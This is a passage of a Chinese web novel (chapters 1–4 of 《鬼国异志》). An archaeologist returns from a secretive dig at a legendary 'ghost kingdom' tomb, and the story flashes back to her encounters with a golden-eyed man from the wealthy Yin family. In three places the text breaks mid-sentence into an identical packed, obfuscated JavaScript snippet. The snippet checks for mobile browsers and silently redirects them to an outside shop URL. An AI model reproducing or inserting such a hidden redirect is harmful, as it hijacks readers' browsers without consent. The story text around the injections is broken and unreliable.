《鬼国异志》 1. 姐姐 我的姐姐回来了。 时隔两年多未见,她依旧一点没变,还是那么明艳美丽,穿着一件黑色的羽绒服,不施粉黛,带着一副黑框眼镜,比起两年前肆意张扬的的美,多了几分沉静的气息。 她这两年一直跟着老师在西南腹地某个省份从事考古挖掘的工作,很少跟家里人联系。 不过我跟爸妈都习惯了,她的性格一直都是这样的,全身心沉浸在工作里,两耳不闻窗外事,家里发生什么都不知道。 我们也联系不上她。 她的工作性质特殊,时常需要去到荒无人烟人迹罕至的地方,一待就是几个月,根本就没有信号。 今天是我女儿的百岁宴,所以她突然回来了,倒是吓了我们一大跳。 要知道,两年前我结婚,她都没有来参加,说是工作忙,当时他们团队似乎发现了某个不得了的大墓,姐姐匆匆忙忙收拾行李,就连夜坐飞机赶赴南省,与她的导师团队汇合。 刚开始的几个月里,她还时不时的会跟家里人有联系。 后来据说是项目进入保密阶段,她的电话再也没有打通过了。 还好偶尔能联系上她的助理,得知她情况一切正常,所以我们都以为,这只是一场跟之前没有什么不同的考古工作。 姐姐回来,所有人都很惊喜。 但我却觉得,姐姐好像有哪里不一样了。 “姐,这几年还好吗?项目结束了吗,怎么突然就回来了?” 百岁宴进行到一半的时候,我终于得以喘口气,让丈夫先把孩子抱到房间里去喂个奶,然后我就在姐姐身边坐下了,想要了解她的一些近况。 她似乎有点疲惫,正一个人坐在角落的桌子前喝着茶水,宴会厅暖黄的灯光落在她的身上,却让她看起来更暗淡更苍白了。 爸妈还在忙着招呼客人,我们都体谅她一定是经过了长途跋涉才来到这里,很需要休息,便没有打扰她。 姐姐没有回答我的问题。 只是一口接一口地喝着面前的热茶,手却微微颤抖着,动作急促。 像是很久没有喝过热水一样。 我看着她的动作,终于察觉到了怪异之处。 “姐,别喝了!你都喝了整整两壶热水了!” 我拦下姐姐想要再倒一杯茶的动作,担忧地望着她,然后小心翼翼地对着她的脸左看右看。 这还是我的姐姐啊,只是相比起两年多以前,褪去了几分张扬,多了一些冷郁。 也许这几年的工作真的很辛苦吧。 姐姐本身就不是性格外向的人,如今看起来,怎么更沉默了。 “是不是工作太累了?还是有什么不开心的地方?”我握住姐姐的手,吓了一跳,怎么会那么冷! 明明是六月份的夏天,姐姐手臂上的温度,简直就跟刚从大冰柜里走出来一样。 姐姐像是终于回过了神一样,怔怔地望着手里已经空了的茶杯,又看了看我,几秒钟之后,她扯出一个勉强的笑容。 “是有点累了,我为了赶回来,花了很多的功夫……” 我还想接着问下去的时候,丈夫却抱着女儿来找我了。 我们的女儿才出生三个月,粉嫩可爱,被包裹在小小的襁褓之中,只露出一张粉白柔嫩的小脸蛋,此刻正在甜美的睡梦中。 “爸妈说待会儿咱们一家人拍几张合照,姐,咱们一起过去吧。” 丈夫跟我的姐姐其实没见过几次面,但他的性格十分自来熟,热情地招呼着姐姐。 “姐,要不要抱抱囡囡。”丈夫抱着女儿凑近姐姐,满脸笑意,“爸妈跟小宜一直都说,囡囡跟你长得很像呢!” 我也带着笑容看向姐姐,以为可以看到姐姐动作笨拙地接过孩子的样子,她之前可从来没有抱过孩子呢。 但我没想到,孩子凑近她的一瞬间,姐姐脸色突然变得苍白,瞳孔都不自觉地放大了,身子立马往后仰了一下,十足的逃避意味。 她似乎很害怕。 直到妈妈担忧地坐在她身边,碰了碰她的肩膀。 “颂颂,你没事吧?”妈妈搂住她,然后也是被吓了一大跳,“你的身体怎么冷成这个样子啊!你生病了吗?” 姐姐抬起头,目光越过妈妈的肩膀,落在了丈夫怀中抱着的女儿身上,然后她立马移开眼神,不肯再多看一眼。 紧接着她有些慌乱地起身,动作之间,还不小心把水杯打翻在地。 “我没事……只是太累了,我先回去了。” 我伸手去拉她,但是姐姐脚步匆忙,完全不顾我们的挽留与呼喊,我根本来不及抓住她的手臂。 她就这样离开了。 公公婆婆站在一边,脸色奇怪地望着我们一家子,我只能尴尬地笑了笑,替姐姐解释道。 “考古工作是比较辛苦比较累的,所以姐姐身体可能是真的不舒服了。” 我站起来招呼着大家,“没事,我们去拍全家福就行。” 妈妈望着姐姐离去的身影,眼中是散不去的忧愁与疑惑。 “小宜,你姐姐,该不会是工作中出了什么事吧?” 我安抚地揽着妈妈的肩头,往合照地点走去,“别担心,等晚上回了家,我跟姐姐聊聊。” 等忙完宴会上的事情,送走所有宾客时,外面突然下起了大雨。 公公婆婆与我们住的地方分别在这个城市的两端,于是我让丈夫先开车送他的父母回去,我带着女儿先跟爸妈回家看姐姐。 女儿在安全椅里睡得香甜,车子里开了暖气,她的小脸蛋红扑扑的。 “宝宝要回家咯。”我轻声轻语地说道,给女儿盖好小毯子。 紧接着,我忽然想起一件被所有人都忽略了的事情。 “哎呀!姐姐是不是回老房子那边了!” 坐在前面的爸妈也脸色一变,懊恼不已。 妈妈连忙掏出手机要给姐姐打电话。 我也是有些哭笑不得。 今天实在是太忙了,姐姐又回来得仓促,加上这几年我们跟她的联系都不太顺畅,所以我们还没来得及告诉她,两年前家里就换房子了。 “电话打不通呀!”妈妈不停地给姐姐打着电话,但是那头并没有人接。 “算了算了,估计她在睡觉,别打了,咱们直接开车过去找她吧。”爸爸直接拿定了主意,然后方向盘一转,往老房子开去了。 外面的雨越下越大,雨幕细密。 “今天天气预报没雨啊,白天还是个大晴天呢,怎么晚上突然就下那么大的雨了。”妈妈也很奇怪。 一个惊雷在窗外炸响。 女儿被惊动,躺在提篮里直哭,我弯着腰轻声哄着孩子。 真奇怪啊。 这个季节不仅下起了雨,还打起了雷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242803|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿被我哄好,哭声渐低,也许是因为这场突如其来的暴雨,以及惊雷,爸爸为了缓解车厢内僵硬的气氛,讲起了故事。 “在我小的时候,老人们就常说,下大雨,打惊雷,就是山野深潭里的蛟龙,要飞天渡劫了。” 妈妈对于爸爸讲的故事,一向是不相信的,她打趣道,“那么老土的故事也拿出来讲,现在网络世界那么发达,这种故事大多都是编来骗小孩的,有几个人真见过龙呀。” 爸爸憨厚地笑了笑,没再继续讲下去,两人闲聊起别的事。 我安抚好躺椅中的女儿,偶然间抬起头,却看到,隔着车窗玻璃,以及细密的雨幕,遥远的天边,乌云之下,似乎真的有一道奇怪的细影,快速游动着,一眨眼的功夫,就钻进了厚重的云层之中。 我眨了眨眼,再凝神去看时,天边的乌云之下,又什么都没有了。 一定是看花眼了。 车子回到老房子所在的小区时,已是深夜。 大雨仍在继续下着。 我撑着伞,抱着孩子,先行下车,快步走到楼道里,等待着爸妈随后跟上。 风夹着雨把我的雨伞吹得东倒西歪的,身上被淋湿了不少,所以走到楼道里之后,我赶紧摸了摸口袋,想找张纸巾擦擦雨水。 就在这时,一只苍白得过分的手,拿着手帕,递到我面前。 “用这个擦吧。” 我抬头看过去,顿时就愣住了。 一个高大而苍白俊美的年轻男人,站在我面前,眉目阴沉地望着我。 而他的怀里,竟然也抱着一个小婴儿,正闭目甜睡着。 我居然没有注意到,这个楼道里还站着一个人。 “谢谢,谢谢。”我正好没有找到纸巾,便接过了他手里的手帕,擦掉身上的雨水。 “你也是住这里的吗?刚搬来的?” 我从来没有见过这个陌生男人,估计是新房客。 他没有点头,也不做回答,十分沉默。 爸妈没来,估计还在找停车位,老小区就是这点不好,停车位少,每次来都得找很久。 于是我按了电梯,打算先带女儿上去找姐姐。 电梯门打开,男人也一起跟了上来。 气氛有些沉默,还是我主动开口,打破这份尴尬。 我笑着看向他怀里的小孩,雪白软嫩的肌肤,看起来是个讨喜的小团子。 “这是你的孩子吗,好可爱呀,多大啦,男孩女孩?” 男人垂眸看向怀中的孩子,情绪难辨,声音低沉。 “男孩,三个月了。” “那跟我女儿差不多大呢!”我很惊讶,居然那么巧。 男人微微侧脸,看到我怀里抱着的女儿,不做言语。 “孩子的妈妈呢?那么晚了,你是刚带着孩子从外面回来吗?” 不知是不是我的错觉,这句话刚说完,男人周身的气息变得更冷,更低落了。 “呵,他妈妈啊。”男人的声音变得有些意味深重。 他忽然抬眼看向了我,瞳孔似乎在一瞬间,变成了金色的竖瞳! 我心中一惊,再一认真看,发现是自己看错了,男人的瞳孔是正常的形状,只不过在电梯灯光的照射下,泛着淡淡的金光。 男人接着刚才未说完的话。 “他妈妈,抛夫弃子,跑掉了。” 2. 和夷鬼国 一声惊雷落下。 把秦颂直接从睡梦中给惊醒过来。 迷迷糊糊间,她以为自己还待在那个阴湿黏腻的可怕洞窟里。 直到窗外又一道闪电落下,照亮了房间里的摆设,她才意识到,自己真的回到了家。 这一年里,自己无数次梦寐以求的,温暖的,人类的家。 这一觉她睡了整整四个小时,她已经很久很久,没有睡过那么安稳踏实的觉了。 回到熟悉的家里,闻到熟悉的额气味,让她的精神能够稍微放松了下来。 秦颂拿起一直放在床头的手机,发现妈妈跟妹妹给她打过好几个电话。 是有什么事情吗? 秦颂没有多想,给妈妈打了回去。 手机贴在耳边,还没等到嘟声响起,客厅的大门忽然被敲响。 “咚咚咚,咚咚咚。” 秦颂不知为何,心中一紧。 不知是哪扇阳台门没关紧,屋外的风一个劲往房间里钻,冷风四起,秦颂的胳膊上不自觉泛起了一层鸡皮疙瘩。 “咚咚咚,咚咚咚。” 敲门声还在继续。 一下又一下,富有节奏。 门外似乎站着一个极有耐心的猎人,敲门声不紧不慢,在等待着自己的猎物打开门,自投罗网。 秦颂从床上坐起身,温暖的被子微微滑落下去,冷意朝着她的上半身袭来。 秦颂揪住被子,忍不住发着抖,但她没有发出声音。 她不敢赌,她还是害怕。 她很怕很怕。 门外站着的。 会是那个“人”。 她的噩梦。 如果有熟人看到她现在的样子,一定会很惊讶。 现在的秦颂,跟两年前的秦颂。 完全是两幅模样。 而造成这一改变的源头,正是两年前,她参与的那次轰动全国的考古工作。 和夷鬼国墓葬群遗址挖掘行动。 秦颂曾是所有人都公认的稳重踏实性格。 处事不惊,无论发生什么,她脸上的表情,眼中的情绪,都可以毫无变化。 拥有保持着得体适宜的平静。 她的老师任教授也很欣赏她这样的性格。 考古其实是一项很枯燥,同时又很需要细致的工作,所以从事这一行业,最重要的就是能够沉得住气,耐得下心来。 秦颂研究生毕业后,就考上了研究院的编制,一直跟在任教授身边工作,已经参与过两次小型的古墓挖掘考古工作,工作表现亮眼,很得任教授重用。 所以那个秋日午后,当任教授像往常一样,把秦颂喊到他的办公室里,询问她有没有兴趣参与新的挖掘工作时,秦颂想也没想,一口就答应了下来。 任教授从厚重的资料堆里拿出一个册子,递给了秦颂。 “你先把这个带回去,看看这次工作的背景资料,再给我答复也不迟。” 秦颂心中有些疑惑,她从没见过任教授这么凝重的模样,难道这次的工作,有什么特别之处? 带着这样的困惑,秦颂接过了册子,刚翻开第一页,她就明白,为什么任教授会是那样的反应了。 和夷鬼国的遗址,被发现了。 在久远的神话传说中,越朝是历史上第一个有记载的朝代,人们口口相传,越朝是神降人间,建立起的第一个封建统治国家,越国是一个神秘的国家,人神混居,甚至两个族群之间可以通婚生子。 而在传说中,和夷是越朝最后一个王国,天灾大洪水之后,王朝覆灭,和夷人却又在世上继续活了一百多年。据说最后的和夷人是向鬼国借了命,完成文化传承之后,才彻底消失在历史的河流之中。因这一传说,和夷国也被称为和夷鬼国。 历史上对于和夷鬼国的文献记载很多,却没有任何文物遗址能够证明这一文明真的存在过。 直到唐朝时期,诗人李羡在自己的杂诗二首中曾提到过,和夷传国之宝,是荒山玉牌。 这枚玉牌是和夷国主去往西荒山仙人居住的地方,所求得来的。 拥有这枚玉牌,即可号令神界人界阴界三方兵将,统一天下。 但传说只是传说,没有人知道,这些故事里,到底什么是真的,什么是假的。 对于秦颂来说,她只把神话当成故事来听,唯一有兴趣的,便是越朝这个神秘的朝代,以及和夷古国,到底是一个什么样的国家。 秦颂跟随考古队出发的那一日,正好是妹妹秦宜要订婚的日子。 两姐妹从小感情就要好,对于姐姐不能出席自己重要日子这件事,秦宜很是不高兴。 “你就不能明天再走嘛,我给你改签机票。你们又不是到了那里就开始工作,不得休整几天吗?”秦宜坐在床边,看着姐姐收拾行李,脸上的表情很是不开心。 秦颂手上动作没停,一边往箱子里塞东西,一边在笔记本上划勾。 这次要带的东西比较多,她怕自己有遗漏,所以都记在了本子上。 对于妹妹的抱怨,她也有几分无奈。 “好啦,别难过啦,妹夫一家子我都见过的,这次你们订婚也就是一起吃个饭嘛。”话是这么说,但重要的日子缺少姐姐的出席,秦宜还是很难过。 秦颂转过身看到妹妹气嘟嘟的样子,笑了出来,伸出手捏了捏她的脸颊。 “我答应你,你结婚那天,我一定到场。” 秦宜看着姐姐忙碌的背影,嘴巴动了几下,最后还是忍不住把心里话问了出来。 “姐,你是不是还在因为徐望的事,心里不高兴啊?” 话音刚落,秦宜便看到姐姐收拾行李的动作慢了下来,她立马后悔自己提起了这个人。 真是的,早知道就不说了!自己怎么还是那么冲动,就忍不了一点! 秦颂依旧背对着她,但声音完全冷了下来。 “他算老几,值得我不高兴那么久吗?” 借着房间窗外的日光,秦宜能看清姐姐微侧着的脸上的表情。 冷漠,且无动于衷。 秦宜有点怕这样子的姐姐,她自知理亏,不再缠着姐姐要她留下来,于是赶紧从床上站起来,帮忙一起收拾行李。 看到妹妹这个样子,秦颂有什么不懂的,傻孩子怕自己不高兴迁怒于她呢。 徐望是她的前任男友,两人还是青梅竹马,两家关系很近,时常互相走动。 所有人都以为,她和徐望迟早是会结婚的。 没想到,临门一脚,徐望出轨了自己的大学室友袁元。 袁元挺着大肚子跪在自己面前,求自己成全她与徐望的那一刻。 秦颂真的是不由自主地笑了出来。 苦涩,可笑,又可悲。 因为这件事情,两家之间闹得很不愉快,秦颂与徐望分手后,两家就彻底没了往来。 但毕竟是从小一起长大的,两人之间的共同朋友很多,所以即便是彻底断了联系,秦颂还是被迫断断续续地知道了前任的一些事情。 比如他跟袁元结了婚,袁元肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242804|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里的孩子没有保住,但是她又立马积极备孕,准备生下一胎。 各种各样的事情,闹剧一般在她看不见的地方上演。 出轨的事情刚被捅破的时候,徐望并不想跟秦颂分手。 在他心里,跟袁元的事情完全就是意外,他唯一的爱人,依旧是秦颂。 徐望的好兄弟也来当说客。 “徐望根本就不喜欢那个袁元,都是袁元一直缠着他,才不小心闹出了意外。而且秦颂你平时真的太忙了,对徐望也太不关心了,你俩根本就不像是处对象的样子,一点也不亲密。” 秦颂觉得很荒谬很可笑,所以徐望出轨,还全是自己的错误不成? 她拒绝对方把锅甩给自己,坚决表示要分手。 徐望一开始还对她进行各种围追堵截,又是哭着道歉,又是不停送礼,还说动了两家的父母来劝自己。 对此秦颂只觉得,徐望更面目可憎了。 明明是两人之间的事情,却要把父母也扯进来。 最后一次与徐望见面,是在自己家楼下。 徐望胡子拉碴,满脸憔悴,眼含泪水死死拉住秦颂的手,不肯松开。 “颂颂,你就原谅我这一次吧,我对你是真心的!袁元那件事真的是意外!” 秦颂远远看见那个扶着腰身往这边匆忙赶来的身影。 语气冰冷。 “徐望,再有几个月,你就当爹了,成熟点吧,别再来纠缠我了,我们最好永远都别再见面了。” 徐望眼中露出痛苦震惊的神情,还想再说什么,却被赶来的袁元一把拉住。 “徐望,跟我走吧,这个女人不值得你这样,她根本就不爱你,我才是最爱你的人!” 袁元拉住徐望的另一边手,声泪俱下。 但是徐望一眼都没有看向她,反而是怒气冲冲地甩开了她的手。 “都怪你!要不是你那么有心机地陷害我,我跟颂颂也不会闹出这样!” 袁元倒在地上,扶着肚子痛苦地呻吟了起来。 “我的肚子,肚子好痛……” 但是她的痛苦没有引起徐望的一丝怜悯,反而加重了对方的怒火。 “你还有脸说肚子,贱货!”徐望抬起脚就要往袁元的肚子上踢,秦颂大惊,扑过去推开了徐望。 她不可置信地望着徐望,眼前这个男人的本性居然如此恐怖,一时之间秦颂有些庆幸,还好她提前看清了徐望的真面目,否则不敢想,如果真的跟徐望结婚,自己的婚后生活会是怎样的。 但被她护着的袁元却没有领情,反而一把推开了自己,朝徐望伸出了手。 “徐望,快救救你的孩子,快……” 秦颂被冷不丁地推开,跌坐在地,手臂擦伤,火辣辣的疼。 现场一片混乱,秦颂也受了伤,袁元肚子流血,小区里的过路人连忙喊了救护车。 这件事情令徐望父亲震怒,并对徐望动用了家法,勒令徐望不许再来骚扰秦颂,他已经没有脸面对秦家了。 并在他的强势介入下,让徐望娶了袁元。 这场闹剧,终于才算结束。 18岁到25岁,七年的恋情,就这样告终了。 秦颂心中泛起苦涩,不再多想,加快了手上的动作,把最后的行李都收拾完了。 全家人一起送她去机场,目送她的航班正式起飞。 神秘的古国遗址,未知的世界,正向她徐徐展开。 秦颂一定想不到,此次前去,将会发生改变她整个人生的事情。 3. 黑色劳斯莱斯 经过四个多小时的飞行,下了飞机后又得转高铁,高铁转大巴,最后大巴转私家车,秦颂与任教授等一行人,在路上足足花了十一个小时,才抵达最终的目的地。 位于西南省份某个深山腹地的古村落。 这里人烟稀少,世世代代的村民们以耕种为生,少与外界打交道。 虽然此地早就修了路通了车,但距离最近的县城,也要开车两个多小时。 为了方便接下来的考古工作,秦颂与其他几位女性工作人员,暂时住在某个村民的家中。 已经是春暮时节,虫蚁繁多,秦颂住的房间窗外便是一片密林,隔着窗户都能听见密密麻麻的蚊子嗡嗡声。 但她早已习惯,干这一行的,参与文物的挖掘工作,就是学会吃苦。 休整了一会儿,同事小张便来找她,说任教授要召集大家开一个小会。 两人同住在一个村民家里,一起往任教授住处走去的时候,小张忽然扯了扯她的袖子,压低声音,十分神秘地说道,“快看那边!那辆黑色豪车!” 秦颂不明所以地望了过去,只见不远处的村落空地上,确实停着一辆黑色的劳斯莱斯,车子与周围的气质格格不入,黑色车窗看不到车内的情况,透露出几分神秘感。 秦颂的第六感一向很准,她总觉得,车子里坐着人,并且那个人,正看着她们。 “怎么了吗?是谁的车子?”秦颂看了一眼就收回眼神,不解地看着小张,不明白为何她的表情那么兴奋。 小张惊讶地微张着嘴,“你不知道啊?那是殷家的车子,大名鼎鼎的殷家!我们这次要挖掘的古墓,就是在他们家的山里发现的。” 秦颂的确有听说过殷家,国内知名的富豪家族,据说祖上从明朝起,就开始发迹,其家族势力遍布世界各地。 关于殷家的传说有各种各样,都把殷家说得十分神秘而且无所不能。 不怪大家的八卦之心那么重,因为殷家人确实很低调也很神秘,几乎不会顶着殷家人的身份在大众面前出现。 原来这一片山林的归属,是殷家。 “你怎么知道那就是殷家的车子?” 秦颂问道。 小张的声音又降低了几分,“今天中午我跟任教授在一辆车子上,听他打电话的时候说起的!我们这次挖掘行动,殷家人会过来看一眼,还说人已经到了,任教授到时候会去接待他。” “会坐劳斯莱斯到这种深山老林的人,除了殷家还会有谁?” 秦颂听完之后,附和地点了点头,没再说什么。 所有人都没想到,一个日常小会最后会爆发出那么大的争吵。 而发起吵架的人,居然是平日里性格最稳定的秦颂。 “教授,我研究越朝历史以及古文字很多年了,并且还发表过很多关于越朝的文章,我敢说,目前国内对于古文字资料研究最有经验的人,我肯定是其中之一。难道不是我最有资格去做《天问书》的破译工作吗?” 秦颂站在任教授面前,不肯让他离开,步步紧逼,白皙的脸庞上难得出现因为情绪激动而产生的涨红。 任教授脸上的表情也变得冰冷无比,全然不见往日的和颜悦色。 “秦颂,这是工作安排,你只需要按照我说的去做就行。别的没什么好谈论的了!” 说完任教练直接推开挡在身前的秦颂,迈着大步急匆匆地离开了这里。 “教授!”秦颂连忙去追,却被师兄何真拦住了。 秦颂看到何真就莫名来气,“你拦我做什么,你也觉得我没有资格参与《天问书》的破译吗?” 《天问书》是记载了越朝文明的唯一一部史书,但这本书一直存在历史传说之中,没有人真的见过它。没想到在这次的挖掘工作中,居然发现了这本传说中的“天书”。 只要能破译这本古书里的文字,就可以揭开越朝的许多谜题。 这对所有人来说,都是一份莫大的惊喜。 其中也包括秦颂。 秦颂研究越朝文明已经有十来年了,她虽然年轻,但是在古文字研究领域,也算是小有名气的人物。 可她没想到,这一次任教授居然阻止她参与《天问书》的破译工作,反而让对古文字没什么经验的何真去做译书。 何真是秦颂的同门师兄,他擅长的是古DNA分析,两个人研究方向并不一样。 何真半拉半扯地把她拉到村子附近的树林里,此时天色已经半黑了下来,乌鸦的叫声时不时回响在山林间,有几分瘆人。 “小颂,真不是教授故意不让你去做译书,是那里的人。”何真举起一个手指,往天上指了指,“不让你参加的。” “为什么?”秦颂皱起眉头,感到莫名其妙,“不让我参加,那为什么让我来这里?” 何真再次压低声音,“你对越朝历史有研究呀,所以这次工作肯定得你来,但是据说《天问书》里可能会有一些不该让你知道的东西,所以就……” 秦颂更听不懂这番话了,她只是一个普通的考古工作人员,什么叫不该让她知道的东西? 何真抚了抚额,叹了口气,“你也别怪教授了,他也很无奈。我们都知道你是最有资格参与译书的,但……诶,没办法。” 何真的这番解释并没有让秦颂好受些,反而更生气了。 她从来没有觉得这么生气过,太荒唐了! “既然这样,那你们就好自为之吧。”秦颂语气冰冷,面无表情,毫不犹豫转身离开了这里。 气在头上的秦颂脚步不停,一直往前走,直到周围完全寂静下来,一点人声都没有的时候,她才发现,自己已经走到了密林深处,迷失了方向。 秦颂抬头望天,试图通过星象来判断自己所在方位,但运气不好,今晚是个大雾天,而且树木高耸,枝叶繁复,遮天蔽日,秦颂很难看清天上的云。 她轻叹了口气,虽然夜已深,自己又独处山林之中,但也算不上害怕,只是头疼不知道要花多长的时间才能走回村子里。 秦颂俯下身子摸了摸附近的石头,根据干湿状态判断出南北方位,就在她直起身子准备往回走的时候,冷不防看到不远处一棵树后面站着一个模糊的人影时,吓得差点叫出声。 但她狠狠掐住了自己的手,让自己快速冷静下来。 这附近不知道会不会有野猪之类的山兽,如果自己发出动静,很有可能会引来更多的危险。 直到那个模糊的人影从树干走出来,朝秦颂走近,她才看清楚,原来是个男人。 一个面目旖丽,裹挟着山林雾气,浑身散发着阴冷气息的男人。 “你,你是谁?”秦颂小声询问,大半夜的,这里怎么还有个人,难道是跟自己一样,迷了路的?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242805|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>男人却不说话,浓密乌睫下的眼睛,正一动不动地看着秦颂,让秦颂有种毛骨悚然的感觉。 像是被什么可怕的野兽当成食物盯上了。 许久过后,男人开了口,声音冷淡。 “你喜欢他吗?” “什么?”秦颂怀疑自己没有听清楚对方的话,要不然一个陌生人怎么会问出那么莫名其妙的话? 男人勾了勾嘴角,眼里却没有任何笑意。 不知道是不是自己看花了眼,秦颂总觉得面前这个男人的瞳孔,似乎是金色的。 “走吧,带你下山。” 男人说完这句话,转身就走了。 秦颂连忙跟在他身后,她已经顾不上那么多了,只能选择暂时相信这个男人。 山风吹过,雾气散去,月亮渐渐显出它的面貌。 月光落在山林间,把路照得亮了起来。 借着月色,秦颂打量着面前男人的背影。 他到底是谁?大半夜的这么会出现在这里? 种种谜题都让秦颂疑惑,心情烦躁。加之今天与任教授吵了一架,联想到自己不能参加最期待的译书工作,秦颂就又有些烦恼与无奈,一时之间胡思乱想过多,忘了看好眼前的路,脚步匆忙间,踩到了一个很滑的东西,立马摔了一跤。 意料之中的痛苦却没有袭来,秦颂被一个冰冷而坚实的拥抱接住了。 她狼狈不已地扑到那个男人的怀抱里,然后被稳稳当当地抱住了。 秦颂抓住男人的外套,稳住了身体,然后抬起头,目光撞入了男人的眼中。 盈盈月光下,她看清楚了,男人的瞳孔,真的是近似妖异的金黄色! 秦颂心中大惊,连忙想从他的怀抱中挣脱开来,却发现男人力气极大,无论自己怎么挣扎,他都能纹丝不动! “放开我!你到底是谁!” 男人低头看着她的表情,过了很久以后,才终于放开她,秦颂立马后退了几步,远离男人,却又再次不小心踩到那块滑溜溜的地方,狼狈地坐到了地上,而这一次,男人没有再过来拉住她,只是站在原地,从上往下,冷漠地俯视着她。 他的瞳孔又变成了普通的黑,带着淡淡的琥珀色。 那一天晚上,秦颂再也没有跟这个男人说过一句话,也不敢再靠近他,而是跟在不远不近的后面,跌跌撞撞回到了村子里。 回到村子里才发现,原来所有人都在找她,任教授更是发动了村民们,准备一起上山搜寻。 看到她回来之后,所有人都松了一口气。 小张喘着气从大老远的地方跑过来,一把紧紧地抱住她。 “太好了,还好殷先生找到你了,你可吓死我们了!” 殷先生? 秦颂诧异地望向站在一旁的男人,男人依旧沉默,一个像是助理的人正站在他身边低声说话。 原来他就是殷家人。 但因为山上的事,秦颂已经对他产生了几分提防以及说不清道不明的排斥。 之后几天,秦颂都避免跟他有正面接触。 不过还是从别的同事口中得知了他的名字。 殷九斯。 秦颂本以为跟他之间不会再有任何的交集。 她无论如何也不会想到,三个月之后,她会因为这个男人,被关在殷家老宅里,直到两年后,被迫生下一个孩子。 4. 你能给我什么好处 秦颂因为想加入《天问书》的破译工作,再次去找任教授面谈了一次。 这一次她做足了准备,将自己工作多年来的研究成果,都打印成册,摆放在任教授面前。 “这是《越朝文字历代解读之比较》,我准备了整整八个月的资料,才写出这一篇,国内第一次有关越朝古文字研究的文章。”秦颂将一本期刊杂志放在任教授面前,接着又拿出了一本业内最权威的证书。 “这是……”秦颂刚一开口,就被任教授打断。 “好了,我明白你的意思,不用再继续说下去了。” 任教授疲惫地叹了一口气,从办公桌后起身,走到秦颂身边,把杂志拿起来,放回秦颂手里。 “你这些年的努力与成就,我们都看在眼里。不仅是我,整个业内都知道,你,秦颂,是对越朝文明最有研究的人之一。” 任教授站在秦颂面前,认真地看着她的眼睛,秦颂毫不躲避,直直地回望着。 “但是,不是我不让你参加《天问书》的破译工作。” 任教授又叹了一口气,“你的性子啊,也真是倔,不达目的不罢休……” 他的声音低了下去,带着浓浓的无奈意味,像是在自言自语,“不过这也是当初我欣赏你的地方,做考古研究,就是需要这股子劲。” 任教授走到窗边,外面狂风大作,黑压压的乌云重重地压了下来,暴雨预来。 明明是下午,天色却黑得仿佛夜晚。 风吹得树干东摇西晃,枝条拍打在玻璃窗上,声响巨大。 任教授伸手把窗子关紧,屋子里一下子变得安静了下来。 他转过身子,望着秦颂,眼中是让人看不懂的情绪。 久久之后,任教授长叹了一口气,终于说出了缘由。 “《天问书》,是一本女书。” “根据现在出土的图腾资料来看,越朝很有可能是一个母系社会,每一代的统治者都是女性,整个社会以女为尊。” 任教授眼神复杂地看着秦颂。 “我争取过了,但是那边执意让何真去做破译工作,有些事情……不能让你直接知道。” 秦颂离开任教授的办公室时,外面开始下起雨。 豆大的雨滴砸在地面上,砸在秦颂身上,但她浑然未觉,攥着拳头走在路上。 这群该死的男人! 居然妄图阻止女性知道真相! 他们害怕,女人们一旦得知,这个世界最初就是由女性主宰的,便会推翻他们立下的一切社会规则! 秦颂越想越气,无法抑制情绪的她,埋着头越走越快,没有发现自己已经走到山村的边缘,一片僻静的杂草丛之中。 等到一声炸雷在耳边响起的时候,她才回过神,发现自己又独自处在了无人的荒野里。 雨越下越大,秦颂得赶紧回去,否则在这样的恶劣天气下,自己很容易受伤。 山村中的民居并不密集,稀稀落落的,每家每户之间,都隔着一定的距离。 正值傍晚,家家户户却大门紧闭,一片异样之象。 秦颂来不及多想,匆匆忙忙走在泥泞的土路上,往自己住的小楼跑去,一个不小心,脚下打滑,就要摔倒,身后突然伸出一只有力的手,把她拉入一个屋檐之下。 秦颂仓皇回头,看到了熟悉的脸。 “师兄,你怎么会在这里?” 原来是何真拉住了他,旁边还站着另一个脸生的男同事。 “下大雨啊,来老乡家躲雨。你去哪里了呀?怎么被淋成了这样?” 何真边说,边赶紧拿出包里的毛巾,递给秦颂。 秦颂把脸上的雨水擦掉,终于看清了当下的状况。 何真与男同事每个人的脚下都放着一个大包,秦颂看着,心中一沉。 难受的情绪又上来了。 何真这是要准备开工了。 工具包都带上了。 三个人就这样沉默地站在屋檐之下,直到雨势变小,何真把包背山,伸出手安慰性地拍了拍秦颂的肩膀。 “小颂,别难过了。”何真卡住了,有点不知道该怎么说下去。 因为无论说什么,都怕再次伤到秦颂的心。 “回去好好洗个热水澡,然后休息休息吧。” 说完这句话之后,何真把自己的伞塞到秦颂手里,然后跟男同事小跑冲进雨幕之中,渐渐地远去了。 秦颂手里攥着他的雨伞,沉默着目送他们离开。 